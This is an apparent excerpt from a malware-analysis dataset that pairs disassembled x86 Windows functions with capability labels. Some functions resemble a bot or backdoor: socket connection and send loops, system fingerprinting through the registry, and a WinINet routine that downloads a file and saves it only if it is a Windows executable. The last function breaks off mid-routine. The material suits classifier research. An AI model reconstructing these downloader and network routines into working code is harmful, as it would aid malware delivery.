joyce8/EMBER2024-capa huggingface dataset:
Function at 0x582eb3
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x582f50
push ebx
push esi
call fcn.00582e7c
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00582e10
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x582efd
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x582f4f
push edi
push eax
call fcn.005805e4
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x582f1d
call fcn.0057e77b
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x582f4e
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00582e10
add esp, 0x20
test eax, eax
jne 0x582f3c
push edi
call fcn.0057e77b
jmp 0x582f44
push ebx
call fcn.0057e77b
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x585ba4
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.0057e490
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x585c13
cmp esi, dword [ebp - 4]
je 0x585c0e
cmp dword [ebp + 0xc], 0
je 0x585c0e
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x585beb
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.005856f6
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x585c15
xor eax, eax
inc eax
jmp 0x585c15
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x585c7a
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x59a2c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.0057e490
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.0057e490
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x585cf1
cmp word [ecx], dx
je 0x585cf1
mov eax, dword [0x593de4]
push edi
dec eax
push eax
push 0x593cd0
call fcn.00585c19
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x585d64
cmp word [eax], dx
je 0x585d64
mov eax, dword [edi]
test eax, eax
je 0x585d15
cmp word [eax], dx
je 0x585d15
lea eax, [ebp - 0x10]
push eax
call fcn.005855fc
jmp 0x585d1e
lea eax, [ebp - 0x10]
push eax
call fcn.00585697
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x585d8e
mov eax, dword [0x593ccc]
push dword [ebp - 0x14]
dec eax
push eax
push 0x5939c0
call fcn.00585c19
add esp, 0xc
test al, al
je 0x585d8e
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x585d59
cmp word [eax], di
je 0x585d59
lea eax, [ebp - 0x10]
push eax
call fcn.005855fc
pop ecx
jmp 0x585d90
lea eax, [ebp - 0x10]
push eax
call fcn.00585697
jmp 0x585d56
mov eax, dword [edi]
test eax, eax
je 0x585d7b
cmp word [eax], dx
je 0x585d7b
lea eax, [ebp - 0x10]
push eax
call fcn.005855b1
pop ecx
jmp 0x585d8e
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x585e59
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.00585a9e
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x585e59
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x585e59
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x585e59
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x585de6
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.0057f985
test ebx, ebx
je 0x585e54
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.0057f985
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x585e59
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x585e59
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.0058c719
add esp, 0x10
xor eax, eax
inc eax
jmp 0x585e5b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0056f580
leave
ret
Function at 0x58780b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0058e480
mov eax, dword [0x59a2c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00581428
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x58784d
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x5879a9
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0058e250
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x59ba58]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.00588808
mov ecx, dword [esi*4 + 0x59ba58]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x5879a2
cmp eax, dword [ecx + edi + 0x24]
jne 0x5879a2
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x5879a2
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00588808
add esp, 0x14
test edx, edx
jl 0x5879a2
jg 0x587918
test eax, eax
jb 0x5879a2
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x5879a2
jl 0x587932
cmp dword [ebp - 0x1008], eax
ja 0x5879a2
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x587950
test ebx, ebx
je 0x587989
cmp ecx, edi
jae 0x587989
mov al, byte [ecx]
cmp al, 0xd
jne 0x58796a
lea eax, [edi - 1]
cmp ecx, eax
jae 0x587976
cmp byte [ecx + 1], 0xa
jne 0x587976
inc ecx
jmp 0x587976
movzx eax, al
movsx eax, byte [eax + 0x59aab8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x587950
cmp edx, ebx
jne 0x587950
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x5879a7
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0056f580
leave
ret
Function at 0x587ca0
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x59ba58]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x587ce0
cmp byte [ebx], 0xa
jne 0x587ce0
or byte [edi + eax + 0x28], 4
jmp 0x587ce5
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x587de4
mov dl, byte [eax]
cmp dl, 0x1a
je 0x587dc7
inc eax
cmp dl, 0xd
je 0x587d11
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x587d37
cmp eax, ecx
jae 0x587d45
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x587cf9
jmp 0x587de4
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x587dc2
cmp dword [ebp - 0x10], 0
je 0x587dc2
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x59ba58]
test byte [eax + edi + 0x28], 0x48
je 0x587d9c
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x587d87
mov byte [esi], dl
jmp 0x587d98
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x59ba58]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x587de4
cmp byte [ebp - 1], 0xa
jne 0x587dab
cmp esi, ebx
jne 0x587dab
mov byte [esi], 0xa
jmp 0x587de3
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00588826
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x587de4
mov byte [esi], 0xd
jmp 0x587de3
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x59ba58]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x587de1
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x587de4
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x587ded
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x59ba58]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x587e33
cmp word [ebx], dx
jne 0x587e33
or byte [eax + edi + 0x28], 4
jmp 0x587e38
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x587f9b
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x587f7b
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x587e79
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x587eaf
cmp eax, edx
jae 0x587ebd
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x587e54
jmp 0x587f9b
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x587f76
cmp dword [ebp - 0x18], 0
je 0x587f76
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x59ba58]
test byte [eax + edi + 0x28], 0x48
je 0x587f4c
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x587f10
mov word [esi], cx
jmp 0x587f47
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x59ba58]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x59ba58]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x59ba58]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x587f9b
pop eax
cmp word [ebp - 4], ax
jne 0x587f5c
cmp esi, ebx
jne 0x587f5c
mov word [esi], ax
jmp 0x587f98
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00588826
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x587f9b
push 0xd
pop eax
jmp 0x587f57
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x59ba58]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x587f95
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x587f9b
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x58e210
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x58e23d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x58e23d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x10001450
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x1000ba8a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x198
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
lea ecx, [esi + 4]
call fcn.10001000
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1a8], 0
call fcn.10001000
lea ecx, [esi + 0x54]
mov byte [esp + 0x1a8], 1
call fcn.10001000
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1a8], 2
call fcn.10001000
lea eax, [esp + 0x10]
mov dword [esi], 0x1000c248
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call edi
add esp, 4
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0x30
mov dword [esi + 0xac], eax
call edi
mov byte [esp + 0xc], 0x47
mov byte [esp + 0xd], 0x68
mov byte [esp + 0xe], 0x30
mov byte [esp + 0xf], 0x73
mov edx, dword [esp + 0xc]
lea ecx, [esi + 0xb0]
mov al, 0x74
add esp, 4
mov dword [ecx], edx
mov byte [esi + 0xb5], 0
mov dword [esi + 0xa8], 0xffffffff
pop edi
mov byte [ecx + 4], al
mov ecx, dword [esp + 0x19c]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a4
ret
Function at 0x10001660
Capabilities:
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
push edi
mov esi, ecx
call fcn.10001b80
mov edi, dword [sym.imp.MSVCRT.dll_puts]
push 0x1000e03c
call edi
mov eax, dword [esi + 0xac]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x1000e03c
mov byte [esi + 0xb5], 0
call edi
add esp, 4
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0
mov dword [esi + 0xa8], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esi + 0xa8], 0xffffffff
jne 0x100016cb
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
mov ebp, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call ebp
mov ecx, dword [esp + 0x38]
add esp, 4
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
push 0x30
mov ebx, eax
call ebp
add esp, 4
test ebx, ebx
jne 0x100016fc
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
push 0x1000e03c
mov word [esp + 0x24], 2
call edi
mov edx, dword [esp + 0x3c]
add esp, 4
push edx
call dword [sym.imp.WS2_32.dll_htons]
push 0
mov word [esp + 0x26], ax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebx + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [esp + 0x24], edx
call edi
push str.connect
push str.WS2_32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esi + 0xa8]
lea ecx, [esp + 0x20]
push 0x10
push ecx
push edx
call eax
cmp eax, 0xffffffff
jne 0x10001770
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
call edi
push 0x30
mov byte [esp + 0x17], 1
call ebp
mov ecx, dword [esi + 0xa8]
add esp, 4
lea eax, [esp + 0x13]
push 1
push eax
push 8
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x100017e9
push 0x30
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0xea60
mov dword [esp + 0x20], 0x1388
call ebp
add esp, 4
mov ecx, dword [esi + 0xa8]
lea edx, [esp + 0x13]
lea eax, [esp + 0x14]
push 0
push 0
push edx
push 0
push 0
push 0xc
push eax
push 0x98000004
push ecx
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 0x30
call ebp
add esp, 4
push 1
push 0
push 0
push esi
push 0x10001820
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.10003390
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 8
Function at 0x10001b80
Capabilities:
Set socket configuration

Disassembly:
push ecx
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
mov esi, ecx
push 0x30
mov word [esp + 0xc], 1
mov word [esp + 0xe], 0
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
lea eax, [esp + 8]
push 4
push eax
push 0x80
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x30
call edi
mov edx, dword [esi + 0xa8]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0x30
call edi
add esp, 4
lea eax, [esi + 0xb5]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0x30
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x30
call edi
mov edx, dword [esi + 0xac]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x30
call edi
add esp, 4
mov dword [esi + 0xa8], 0xffffffff
pop edi
pop esi
pop ecx
ret

Function at 0x10001db0
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 8
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x20]
push edi
mov edi, ebx
cmp ebx, esi
mov dword [esp + 0x14], ecx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x10], edi
jb 0x10001e51
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x24], 0
push 0x1000e03c
call dword [sym.imp.MSVCRT.dll_puts]
mov eax, dword [esp + 0x18]
add esp, 4
mov ecx, dword [eax + 0xa8]
push 0
push esi
push ebp
push ecx
call dword [sym.imp.WS2_32.dll_send]
push 0
mov edi, eax
call ebx
test edi, edi
jg 0x10001e22
mov eax, dword [esp + 0x24]
inc eax
cmp eax, 0xf
mov dword [esp + 0x24], eax
jl 0x10001de7
cmp dword [esp + 0x24], 0xf
je 0x10001e87
mov edx, dword [esp + 0x1c]
push 0
add edx, edi
add ebp, esi
mov dword [esp + 0x20], edx
call ebx
push 0xa
call ebx
mov eax, dword [esp + 0x10]
sub eax, esi
cmp eax, esi
mov dword [esp + 0x10], eax
jae 0x10001ddf
mov ebx, dword [esp + 0x20]
mov edi, eax
test edi, edi
jle 0x10001e7f
xor esi, esi
mov edx, dword [esp + 0x14]
push 0
push edi
push ebp
mov eax, dword [edx + 0xa8]
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x10001e76
inc esi
cmp esi, 0xf
jl 0x10001e57
cmp esi, 0xf
je 0x10001e87
add dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
cmp eax, ebx
je 0x10001e8a
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 0xc

Function at 0x10001eb0
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x10
push esi
mov esi, dword [esp + 0x18]
test esi, esi
jne 0x10001ec3
xor eax, eax
pop esi
add esp, 0x10
ret
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x10001ef1
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, dword [eax]
mov dword [esp + 4], ecx
mov edx, dword [eax + 4]
mov dword [esp + 8], edx
mov ecx, dword [eax + 8]
mov dword [esp + 0xc], ecx
mov eax, dword [eax + 0xc]
mov edx, dword [eax]
mov eax, dword [edx]
pop esi
add esp, 0x10
ret
Function at 0x10002010
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x190
push esi
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x20
xor eax, eax
lea edi, [esp + 0x14]
lea edx, [esp + 0x94]
rep stosd dword es:[edi], eax
mov edi, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x94]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 8]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100020b8
lea eax, [esp + 0xc]
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x14]
push ecx
push edx
push 0
push 0x1000e0ac
push eax
mov dword [esp + 0x24], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x14]
push str.2000
push edx
call esi
add esp, 8
test eax, eax
jne 0x10002100
lea eax, [esp + 0x14]
push str.2003
push eax
call esi
add esp, 8
test eax, eax
jne 0x10002100
lea ecx, [esp + 0x14]
push str.2008
push ecx
call esi
add esp, 8
test eax, eax
jne 0x10002100
pop edi
pop esi
add esp, 0x190
ret
pop edi
mov eax, 1
pop esi
add esp, 0x190
ret
Function at 0x10003390
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x10003310
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x100034d0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x418
push ebx
push ebp
push esi
push edi
xor ebp, ebp
mov ebx, 1
push str.WININET.dll
mov dword [esp + 0x14], ebp
mov dword [esp + 0x28], ebp
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.InternetOpenA
push esi
call edi
push ebp
push ebp
push ebp
push ebp
push str.Mozilla_4.0__compatible_
call eax
mov ebp, eax
test ebp, ebp
mov dword [esp + 0x20], ebp
jne 0x1000352a
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x418
ret
push str.InternetOpenUrlA
push esi
call edi
mov ecx, dword [esp + 0x42c]
push 0
push closesocket
push 0
push 0
push ecx
push ebp
call eax
mov ebp, eax
test ebp, ebp
jne 0x1000355b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x418
ret
push str.InternetReadFile
push esi
call edi
mov edx, dword [esp + 0x430]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
mov dword [esp + 0x38], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x100035fb
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x28]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
lea ecx, [esp + 0x28]
push eax
push 0x400
push ecx
push ebp
call dword [esp + 0x2c]
test ebx, ebx
je 0x100035bb
cmp word [esp + 0x28], 0x5a4d
jne 0x100035e2
mov eax, dword [esp + 0x10]
xor ebx, ebx
lea edx, [esp + 0x24]
push ebx
push edx
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x30]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x100035ea
jmp 0x1000358d
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetCloseHandle
push esi
call edi
mov edi, eax
push ebp
call edi
mov ecx, dword [esp + 0x20]
push ecx
call edi
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x18]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x418
ret
Function at 0x10003630
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov eax, 4
mov dword [esp + 4], eax
mov dword [esp + 8], eax
lea eax, [esp]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [esp + 4]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
push 0
push str.MHz
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp]
push edx
